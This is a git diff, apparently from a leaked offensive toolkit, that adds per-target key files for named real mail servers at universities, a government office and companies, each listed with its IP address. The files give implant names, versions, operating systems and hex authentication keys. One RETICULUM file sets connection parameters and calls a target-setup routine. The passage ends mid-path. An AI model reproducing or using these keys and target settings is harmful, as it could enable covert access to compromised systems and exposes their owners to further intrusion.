b/Linux/bin/varkeys/pitchimpair/mail.btbu.edu.cn___211.82.112.23/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___mail.btbu.edu.cn___211.82.112.23___20060531-165405() { + ## INCISION Version:4.10.2.15 OS:sparc-sun-solaris2.8 + export TARG_AYT="cd79cf28 5d1471a8 f5127255" +} diff --git a/Linux/bin/varkeys/pitchimpair/mail.btbu.edu.cn___211.82.112.23/jackladder b/Linux/bin/varkeys/pitchimpair/mail.btbu.edu.cn___211.82.112.23/jackladder new file mode 100644 index 0000000..befe67f --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mail.btbu.edu.cn___211.82.112.23/jackladder @@ -0,0 +1,4 @@ +PITCHIMPAIR___mail.btbu.edu.cn___211.82.112.23___20060531-165405() { + ## JACKLADDER Version:2.0 OS:sparc-sun-solaris2.8 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/mail.btbu.edu.cn___211.82.112.23/orangutan b/Linux/bin/varkeys/pitchimpair/mail.btbu.edu.cn___211.82.112.23/orangutan new file mode 100644 index 0000000..9c1b2d0 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mail.btbu.edu.cn___211.82.112.23/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___mail.btbu.edu.cn___211.82.112.23___20060531-165405() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="69fa25e4 2882c4ea 6b1e7703" +} diff --git a/Linux/bin/varkeys/pitchimpair/mail.btbu.edu.cn___211.82.112.23/patchicillin b/Linux/bin/varkeys/pitchimpair/mail.btbu.edu.cn___211.82.112.23/patchicillin new file mode 100644 index 0000000..6768ab3 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mail.btbu.edu.cn___211.82.112.23/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___mail.btbu.edu.cn___211.82.112.23___20060531-165405() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.8 + export CV="f180e658 589d921d 22c62be4" +} diff --git a/Linux/bin/varkeys/pitchimpair/mail.dyu.edu.tw___163.23.1.73/incision b/Linux/bin/varkeys/pitchimpair/mail.dyu.edu.tw___163.23.1.73/incision new file mode 100644 index 0000000..c562487 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mail.dyu.edu.tw___163.23.1.73/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___mail.dyu.edu.tw___163.23.1.73___20050901-122929() { + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="27d6c216 597d457b 73c6a442" +} diff --git a/Linux/bin/varkeys/pitchimpair/mail.dyu.edu.tw___163.23.1.73/orangutan b/Linux/bin/varkeys/pitchimpair/mail.dyu.edu.tw___163.23.1.73/orangutan new file mode 100644 index 0000000..b2567d5 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mail.dyu.edu.tw___163.23.1.73/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___mail.dyu.edu.tw___163.23.1.73___20050901-122929() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="11989424 c1509148 de539562" +} diff --git a/Linux/bin/varkeys/pitchimpair/mail.dyu.edu.tw___163.23.1.73/patchicillin b/Linux/bin/varkeys/pitchimpair/mail.dyu.edu.tw___163.23.1.73/patchicillin new file mode 100644 index 0000000..d117efe --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mail.dyu.edu.tw___163.23.1.73/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___mail.dyu.edu.tw___163.23.1.73___20050901-122929() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.8 + export CV="c80875d0 21edd995 68cdca01" +} diff --git a/Linux/bin/varkeys/pitchimpair/mail.dyu.edu.tw___163.23.1.73/sidetrack b/Linux/bin/varkeys/pitchimpair/mail.dyu.edu.tw___163.23.1.73/sidetrack new file mode 100644 index 0000000..46acb1d --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mail.dyu.edu.tw___163.23.1.73/sidetrack @@ -0,0 +1,4 @@ +PITCHIMPAIR___mail.dyu.edu.tw___163.23.1.73___20050901-122929() { + ## SIDETRACK Version:2.1 OS:sparc-sun-solaris2.8 + export CV="2fadb5e7 37e954c5 4fbd5363 db9b8c53" +} diff --git a/Linux/bin/varkeys/pitchimpair/mail.et.ntust.edu.tw___140.118.2.53/incision b/Linux/bin/varkeys/pitchimpair/mail.et.ntust.edu.tw___140.118.2.53/incision new file mode 100644 index 0000000..80e90bf --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mail.et.ntust.edu.tw___140.118.2.53/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___mail.et.ntust.edu.tw___140.118.2.53___20050315-111913() { + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="f442cc15 9c07e0df 3be0a297" +} diff --git a/Linux/bin/varkeys/pitchimpair/mail.et.ntust.edu.tw___140.118.2.53/orangutan b/Linux/bin/varkeys/pitchimpair/mail.et.ntust.edu.tw___140.118.2.53/orangutan new file mode 100644 index 0000000..984d0ea --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mail.et.ntust.edu.tw___140.118.2.53/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___mail.et.ntust.edu.tw___140.118.2.53___20050315-111913() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="07289814 9e3eb478 aff4f203" +} diff --git a/Linux/bin/varkeys/pitchimpair/mail.et.ntust.edu.tw___140.118.2.53/patchicillin b/Linux/bin/varkeys/pitchimpair/mail.et.ntust.edu.tw___140.118.2.53/patchicillin new file mode 100644 index 0000000..c87417b --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mail.et.ntust.edu.tw___140.118.2.53/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___mail.et.ntust.edu.tw___140.118.2.53___20050315-111913() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.8 + export CV="fc92de04 c60ddbb1 1cda4f05" +} diff --git a/Linux/bin/varkeys/pitchimpair/mail.et.ntust.edu.tw___140.118.2.53/sidetrack b/Linux/bin/varkeys/pitchimpair/mail.et.ntust.edu.tw___140.118.2.53/sidetrack new file mode 100644 index 0000000..848123d --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mail.et.ntust.edu.tw___140.118.2.53/sidetrack @@ -0,0 +1,4 @@ +PITCHIMPAIR___mail.et.ntust.edu.tw___140.118.2.53___20050315-111913() { + ## SIDETRACK Version:2.1 OS:sparc-sun-solaris2.8 + export CV="2a2b4d29 ca68cae5 2882de0b 77bee674" +} diff --git a/Linux/bin/varkeys/pitchimpair/mail.hanseo.ac.kr___203.234.72.4/incision b/Linux/bin/varkeys/pitchimpair/mail.hanseo.ac.kr___203.234.72.4/incision new file mode 100644 index 0000000..bc86539 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mail.hanseo.ac.kr___203.234.72.4/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___mail.hanseo.ac.kr___203.234.72.4___20050321-110247() { + ## INCISION Version:4.10.1.2 OS:sparc-sun-solaris2.9 + export TARG_AYT="b840ebfe 057cab3d 8d15bce5" +} diff --git a/Linux/bin/varkeys/pitchimpair/mail.hanseo.ac.kr___203.234.72.4/orangutan b/Linux/bin/varkeys/pitchimpair/mail.hanseo.ac.kr___203.234.72.4/orangutan new file mode 100644 index 0000000..cb889b0 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mail.hanseo.ac.kr___203.234.72.4/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___mail.hanseo.ac.kr___203.234.72.4___20050321-110247() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.9 + export CONFIG_KEYS="bb32c42a 6f052050 fe702d12" +} diff --git a/Linux/bin/varkeys/pitchimpair/mail.hanseo.ac.kr___203.234.72.4/patchicillin b/Linux/bin/varkeys/pitchimpair/mail.hanseo.ac.kr___203.234.72.4/patchicillin new file mode 100644 index 0000000..1cc60a2 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mail.hanseo.ac.kr___203.234.72.4/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___mail.hanseo.ac.kr___203.234.72.4___20050321-110247() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.9 + export CV="b6d508ea fdb82639 165a7f57" +} diff --git a/Linux/bin/varkeys/pitchimpair/mail.hccc.gov.tw___210.241.6.97/incision b/Linux/bin/varkeys/pitchimpair/mail.hccc.gov.tw___210.241.6.97/incision new file mode 100644 index 0000000..7c0f197 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mail.hccc.gov.tw___210.241.6.97/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___mail.hccc.gov.tw___210.241.6.97___20050425-144217() { + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="0004b8b2 8bc04e1a 6a1d51af" +} diff --git a/Linux/bin/varkeys/pitchimpair/mail.hccc.gov.tw___210.241.6.97/orangutan b/Linux/bin/varkeys/pitchimpair/mail.hccc.gov.tw___210.241.6.97/orangutan new file mode 100644 index 0000000..9bc0380 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mail.hccc.gov.tw___210.241.6.97/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___mail.hccc.gov.tw___210.241.6.97___20050425-144217() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="652d7dde edea0f55 e9b7fca6" +} diff --git a/Linux/bin/varkeys/pitchimpair/mail.hccc.gov.tw___210.241.6.97/patchicillin b/Linux/bin/varkeys/pitchimpair/mail.hccc.gov.tw___210.241.6.97/patchicillin new file mode 100644 index 0000000..a21accc --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mail.hccc.gov.tw___210.241.6.97/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___mail.hccc.gov.tw___210.241.6.97___20050425-144217() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.8 + export CV="efdcb756 87ebbbf8 6850cbfa" +} diff --git a/Linux/bin/varkeys/pitchimpair/mail.hccc.gov.tw___210.241.6.97/sidetrack b/Linux/bin/varkeys/pitchimpair/mail.hccc.gov.tw___210.241.6.97/sidetrack new file mode 100644 index 0000000..5a8c985 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mail.hccc.gov.tw___210.241.6.97/sidetrack @@ -0,0 +1,4 @@ +PITCHIMPAIR___mail.hccc.gov.tw___210.241.6.97___20050425-144217() { + ## SIDETRACK Version:2.1 OS:sparc-sun-solaris2.8 + export CV="d21b0158 cb8ac66b 2284ddef d237e869" +} diff --git a/Linux/bin/varkeys/pitchimpair/mail.howon.ac.kr___203.146.64.14/dewdrop b/Linux/bin/varkeys/pitchimpair/mail.howon.ac.kr___203.146.64.14/dewdrop new file mode 100644 index 0000000..2a32fc0 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mail.howon.ac.kr___203.146.64.14/dewdrop @@ -0,0 +1,4 @@ +PITCHIMPAIR___mail.howon.ac.kr___203.146.64.14___20051101-143337() { + ## DEWDROP Version:1.0.1.1 OS:sparc-sun-solaris2.8 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/mail.howon.ac.kr___203.246.64.14/incision b/Linux/bin/varkeys/pitchimpair/mail.howon.ac.kr___203.246.64.14/incision new file mode 100644 index 0000000..1ddaf65 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mail.howon.ac.kr___203.246.64.14/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___mail.howon.ac.kr___203.246.64.14___20051101-143337() { + ## INCISION Version:4.10.2.15 OS:sparc-sun-solaris2.8 + export TARG_AYT="a8c02468 ad3fc94a 2448a0f1" +} diff --git a/Linux/bin/varkeys/pitchimpair/mail.howon.ac.kr___203.246.64.14/jackladder b/Linux/bin/varkeys/pitchimpair/mail.howon.ac.kr___203.246.64.14/jackladder new file mode 100644 index 0000000..26e7258 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mail.howon.ac.kr___203.246.64.14/jackladder @@ -0,0 +1,4 @@ +PITCHIMPAIR___mail.howon.ac.kr___203.246.64.14___20051101-143337() { + ## JACKLADDER Version:2.0 OS:sparc-sun-solaris2.8 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/mail.howon.ac.kr___203.246.64.14/orangutan b/Linux/bin/varkeys/pitchimpair/mail.howon.ac.kr___203.246.64.14/orangutan new file mode 100644 index 0000000..0aabc86 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mail.howon.ac.kr___203.246.64.14/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___mail.howon.ac.kr___203.246.64.14___20051101-143337() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="5aa9367c cb8ba9a3 381df6de" +} diff --git a/Linux/bin/varkeys/pitchimpair/mail.howon.ac.kr___203.246.64.14/patchicillin b/Linux/bin/varkeys/pitchimpair/mail.howon.ac.kr___203.246.64.14/patchicillin new file mode 100644 index 0000000..ecdcab9 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mail.howon.ac.kr___203.246.64.14/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___mail.howon.ac.kr___203.246.64.14___20051101-143337() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.8 + export CV="57367909 522cadbd 558f6722" +} diff --git a/Linux/bin/varkeys/pitchimpair/mail.howon.ac.kr___203.246.64.14/sidetrack b/Linux/bin/varkeys/pitchimpair/mail.howon.ac.kr___203.246.64.14/sidetrack new file mode 100644 index 0000000..3b44756 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mail.howon.ac.kr___203.246.64.14/sidetrack @@ -0,0 +1,4 @@ +PITCHIMPAIR___mail.howon.ac.kr___203.246.64.14___20051101-143337() { + ## SIDETRACK Version:2.1 OS:sparc-sun-solaris2.8 + export CV="2f37f3c6 54ee7c86 64b28c6f 479d4dda" +} diff --git a/Linux/bin/varkeys/pitchimpair/mail.irtemp.na.cnr.it___140.164.20.20/incision b/Linux/bin/varkeys/pitchimpair/mail.irtemp.na.cnr.it___140.164.20.20/incision new file mode 100644 index 0000000..5ac59ce --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mail.irtemp.na.cnr.it___140.164.20.20/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___mail.irtemp.na.cnr.it___140.164.20.20___20040929-200426() { + ## INCISION Version:4.10 OS:sparc-sun-solaris2.7 + export TARG_AYT="c82e4be3 d00f89bb 7b27d0a6" +} diff --git a/Linux/bin/varkeys/pitchimpair/mail.irtemp.na.cnr.it___140.164.20.20/orangutan b/Linux/bin/varkeys/pitchimpair/mail.irtemp.na.cnr.it___140.164.20.20/orangutan new file mode 100644 index 0000000..713892b --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mail.irtemp.na.cnr.it___140.164.20.20/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___mail.irtemp.na.cnr.it___140.164.20.20___20040929-200426() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.7 + export CONFIG_KEYS="76c4a736 751f3e63 c3259a7a" +} diff --git a/Linux/bin/varkeys/pitchimpair/mail.irtemp.na.cnr.it___140.164.20.20/patchicillin b/Linux/bin/varkeys/pitchimpair/mail.irtemp.na.cnr.it___140.164.20.20/patchicillin new file mode 100644 index 0000000..4052faa --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mail.irtemp.na.cnr.it___140.164.20.20/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___mail.irtemp.na.cnr.it___140.164.20.20___20040929-200426() { + ## PATCHICILLIN Version:1.1.1.0 OS:sparc-sun-solaris2.7 + export CV="574d6237 d76ba300 b116c3fa" +} diff --git a/Linux/bin/varkeys/pitchimpair/mail.jccs.com.sa___212.70.32.100/incision b/Linux/bin/varkeys/pitchimpair/mail.jccs.com.sa___212.70.32.100/incision new file mode 100644 index 0000000..f1a89af --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mail.jccs.com.sa___212.70.32.100/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___mail.jccs.com.sa___212.70.32.100___20031016-185322() { + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.7 + export TARG_AYT="2c750c82 ea9736a6 ec815225" +} diff --git a/Linux/bin/varkeys/pitchimpair/mail.jccs.com.sa___212.70.32.100/orangutan b/Linux/bin/varkeys/pitchimpair/mail.jccs.com.sa___212.70.32.100/orangutan new file mode 100644 index 0000000..1162cf7 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mail.jccs.com.sa___212.70.32.100/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___mail.jccs.com.sa___212.70.32.100___20031016-185322() { + ## ORANGUTAN Version:1.6 OS:sparc-sun-solaris2.7 + export CONFIG_KEYS="c38901b3 a6be0efd c21786ab" +} diff --git a/Linux/bin/varkeys/pitchimpair/mail.jccs.com.sa___212.70.32.100/reticulum b/Linux/bin/varkeys/pitchimpair/mail.jccs.com.sa___212.70.32.100/reticulum new file mode 100644 index 0000000..ce5c397 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mail.jccs.com.sa___212.70.32.100/reticulum @@ -0,0 +1,20 @@ +PITCHIMPAIR___mail.jccs.com.sa___212.70.32.100___20031016-185322() { + # + # RETICULUM Version:6.6 OS:sparc-sun-solaris2.7 + # + set host mail.jccs.com.sa + set ip 212.70.32.100 + set hostType "Solaris27" + set len 476 + set cv0 ad66a492 + set cv1 3cdbe4a5 + set cv2 93fdfff6 + set timeout 10 + set retries 5 + set baduids { } + set maxdelay 1.5 + set mindelay 1.0 +# +# +set hand [ targsetup $host $ip $len $cv0 $cv1 $cv2 $hostType $mindelay $maxdelay $baduids $timeout $retries ] +} diff --git a/Linux/bin/varkeys/pitchimpair/mail.lzu.edu.cn___202.201.0.136/incision b/Linux/bin/varkeys/pitchimpair/mail.lzu.edu.cn___202.201.0.136/incision new file mode 100644 index 0000000..011d3fb --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mail.lzu.edu.cn___202.201.0.136/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___mail.lzu.edu.cn___202.201.0.136___20050331-143207() { + ## INCISION Version:4.10.1.2 OS:sparc-sun-solaris2.9 + export TARG_AYT="a93a0064 ba051b6d a8765bdb" +} diff --git a/Linux/bin/varkeys/pitchimpair/mail.lzu.edu.cn___202.201.0.136/orangutan b/Linux/bin/varkeys/pitchimpair/mail.lzu.edu.cn___202.201.0.136/orangutan new file mode 100644 index 0000000..fd94528 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mail.lzu.edu.cn___202.201.0.136/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___mail.lzu.edu.cn___202.201.0.136___20050331-143207() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.9 + export CONFIG_KEYS="117b31af d57d00be 16670d4e" +} diff --git a/Linux/bin/varkeys/pitchimpair/mail.lzu.edu.cn___202.201.0.136/patchicillin b/Linux/bin/varkeys/pitchimpair/mail.lzu.edu.cn___202.201.0.136/patchicillin new file mode 100644 index 0000000..6ef0516 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mail.lzu.edu.cn___202.201.0.136/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___mail.lzu.edu.cn___202.201.0.136___20050331-143207() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.9 + export CV="b3c2d1be c32c5b51 11e192e7" +} diff --git a/Linux/bin/varkeys/pitchimpair/mail.mae.co.kr___210.118.179.1/incision b/Linux/bin/varkeys/pitchimpair/mail.mae.co.kr___210.118.179.1/incision new file mode 100644 index 0000000..6c06a03 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mail.mae.co.kr___210.118.179.1/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___mail.mae.co.kr___210.118.179.1___20041022-114228() { + ## INCISION Version:4.10 OS:sparc-sun-solaris2.6 + export TARG_AYT="b1159736 6eeb838c 8843911c" +} diff --git a/Linux/bin/varkeys/pitchimpair/mail.mae.co.kr___210.118.179.1/orangutan b/Linux/bin/varkeys/pitchimpair/mail.mae.co.kr___210.118.179.1/orangutan new file mode 100644 index 0000000..1ea97c3 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mail.mae.co.kr___210.118.179.1/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___mail.mae.co.kr___210.118.179.1___20041022-114228() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.6 + export CONFIG_KEYS="56fca8b6 864dffb8 d3059570" +} diff --git a/Linux/bin/varkeys/pitchimpair/mail.mae.co.kr___210.118.179.1/patchicillin b/Linux/bin/varkeys/pitchimpair/mail.mae.co.kr___210.118.179.1/patchicillin new file mode 100644 index 0000000..af860bc --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mail.mae.co.kr___210.118.179.1/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___mail.mae.co.kr___210.118.179.1___20041022-114228() { + ## PATCHICILLIN Version:1.1.1.0 OS:sparc-sun-solaris2.6 + export CV="90218fb3 baafecc4 4ef5ab61" +} diff --git a/Linux/bin/varkeys/pitchimpair/mail.must.edu.tw___203.68.220.40/incision b/Linux/bin/varkeys/pitchimpair/mail.must.edu.tw___203.68.220.40/incision new file mode 100644 index 0000000..9781cce --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mail.must.edu.tw___203.68.220.40/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___mail.must.edu.tw___203.68.220.40___20041022-133501() { + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="04e59402 3ed51d1f f348279e" +} diff --git a/Linux/bin/varkeys/pitchimpair/mail.must.edu.tw___203.68.220.40/orangutan b/Linux/bin/varkeys/pitchimpair/mail.must.edu.tw___203.68.220.40/orangutan new file mode 100644 index 0000000..729c37b --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mail.must.edu.tw___203.68.220.40/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___mail.must.edu.tw___203.68.220.40___20041022-133501() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="be58cb7b 467353d6 7719d3d4" +} diff --git a/Linux/bin/varkeys/pitchimpair/mail.must.edu.tw___203.68.220.40/patchicillin b/Linux/bin/varkeys/pitchimpair/mail.must.edu.tw___203.68.220.40/patchicillin new file mode 100644 index 0000000..6f4d5b7 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mail.must.edu.tw___203.68.220.40/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___mail.must.edu.tw___203.68.220.40___20041022-133501() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.8 + export CV="c91b6be1 a3a22991 a462988f" +} diff --git a/Linux/bin/varkeys/pitchimpair/mail.must.edu.tw___203.68.220.40/sidetrack b/Linux/bin/varkeys/pitchimpair/mail.must.edu.tw___203.68.220.40/sidetrack new file mode 100644 index 0000000..be9d343 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mail.must.edu.tw___203.68.220.40/sidetrack @@ -0,0 +1,4 @@ +PITCHIMPAIR___mail.must.edu.tw___203.68.220.40___20041022-133501() { + ## SIDETRACK Version:2.1 OS:sparc-sun-solaris2.8 + export CV="08e14e64 9f996dde dbd93f0d ef51c5dc" +} diff --git a/Linux/bin/varkeys/pitchimpair/mail.ncue.edu.tw___163.23.225.100/incision b/Linux/bin/varkeys/pitchimpair/mail.ncue.edu.tw___163.23.225.100/incision new file mode 100644 index 0000000..72962c5 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mail.ncue.edu.tw___163.23.225.100/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___mail.ncue.edu.tw___163.23.225.100___20041022-122302() { + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="1bbb6cde 44602da5 5e0c95b3" +} diff --git a/Linux/bin/varkeys/pitchimpair/mail.ncue.edu.tw___163.23.225.100/orangutan b/Linux/bin/varkeys/pitchimpair/mail.ncue.edu.tw___163.23.225.100/orangutan new file mode 100644 index 0000000..d14f28e --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mail.ncue.edu.tw___163.23.225.100/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___mail.ncue.edu.tw___163.23.225.100___20041022-122302() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="85bc3473 1d58d752 d8483623" +} diff --git a/Linux/bin/varkeys/pitchimpair/mail.ncue.edu.tw___163.23.225.100/patchicillin b/Linux/bin/varkeys/pitchimpair/mail.ncue.edu.tw___163.23.225.100/patchicillin new file mode 100644 index 0000000..4981829 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mail.ncue.edu.tw___163.23.225.100/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___mail.ncue.edu.tw___163.23.225.100___20041022-122302() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.8 + export CV="50a6a168 f8870773 0174c225" +} diff --git a/Linux/bin/varkeys/pitchimpair/mail.ncue.edu.tw___163.23.225.100/sidetrack b/Linux/bin/varkeys/pitchimpair/mail.ncue.edu.tw___163.23.225.100/sidetrack new file mode 100644 index 0000000..7cbe9a7 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mail.ncue.edu.tw___163.23.225.100/sidetrack @@ -0,0 +1,4 @@ +PITCHIMPAIR___mail.ncue.edu.tw___163.23.225.100___20041022-122302() { + ## SIDETRACK Version:2.1 OS:sparc-sun-solaris2.8 + export CV="bcd6025d c9c12653 7ce5b1e6 68c98d54" +} diff --git a/Linux/bin/varkeys/pitchimpair/mail.tccn.edu.tw___203.64.35.108/incision b/Linux/bin/varkeys/pitchimpair/mail.tccn.edu.tw___203.64.35.108/incision new file mode 100644 index 0000000..dc44626 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mail.tccn.edu.tw___203.64.35.108/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___mail.tccn.edu.tw___203.64.35.108___20041018-114628() { + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="2ac7d02e 3b342f0b 333bc759" +} diff --git a/Linux/bin/varkeys/pitchimpair/mail.tccn.edu.tw___203.64.35.108/orangutan b/Linux/bin/varkeys/pitchimpair/mail.tccn.edu.tw___203.64.35.108/orangutan new file mode 100644 index 0000000..d95945f --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mail.tccn.edu.tw___203.64.35.108/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___mail.tccn.edu.tw___203.64.35.108___20041018-114628() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="a7505839 3bb0017a 58a1c701" +} diff --git a/Linux/bin/varkeys/pitchimpair/mail.tccn.edu.tw___203.64.35.108/patchicillin b/Linux/bin/varkeys/pitchimpair/mail.tccn.edu.tw___203.64.35.108/patchicillin new file mode 100644 index 0000000..436cae0 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mail.tccn.edu.tw___203.64.35.108/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___mail.tccn.edu.tw___203.64.35.108___20041018-114628() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.8 + export CV="84ecbc68 c8f92131 bfbdf722" +} diff --git a/Linux/bin/varkeys/pitchimpair/mail.tpo.fi___193.185.60.42/incision b/Linux/bin/varkeys/pitchimpair/mail.tpo.fi___193.185.60.42/incision new file mode 100644 index 0000000..a30851d --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mail.tpo.fi___193.185.60.42/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___mail.tpo.fi___193.185.60.42___20020515-152758() { + ## INCISION Version:4.6 OS:sparc-sun-solaris2.5.1 + export TARG_AYT="a0cdadb7 1469cde5 4cbe7a44" +} diff --git a/Linux/bin/varkeys/pitchimpair/mail.tpo.fi___193.185.60.42/orangutan b/Linux/bin/varkeys/pitchimpair/mail.tpo.fi___193.185.60.42/orangutan new file mode 100644 index 0000000..1929486 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mail.tpo.fi___193.185.60.42/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___mail.tpo.fi___193.185.60.42___20020515-152758() { + ## ORANGUTAN Version:1.4 OS:sparc-sun-solaris2.5.1 + export CONFIG_KEYS="f64cbc79 c7998536 67cc39a3" +} diff --git a/Linux/bin/varkeys/pitchimpair/mail.univaq.it___192.150.195.10/incision b/Linux/bin/varkeys/pitchimpair/mail.univaq.it___192.150.195.10/incision new file mode 100644 index 0000000..9352355 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mail.univaq.it___192.150.195.10/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___mail.univaq.it___192.150.195.10___20030728-140532() { + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.9 + export TARG_AYT="b2713e94 e7d4ab0e bc859b1a" +} diff --git a/Linux/bin/varkeys/pitchimpair/mail.univaq.it___192.150.195.10/orangutan 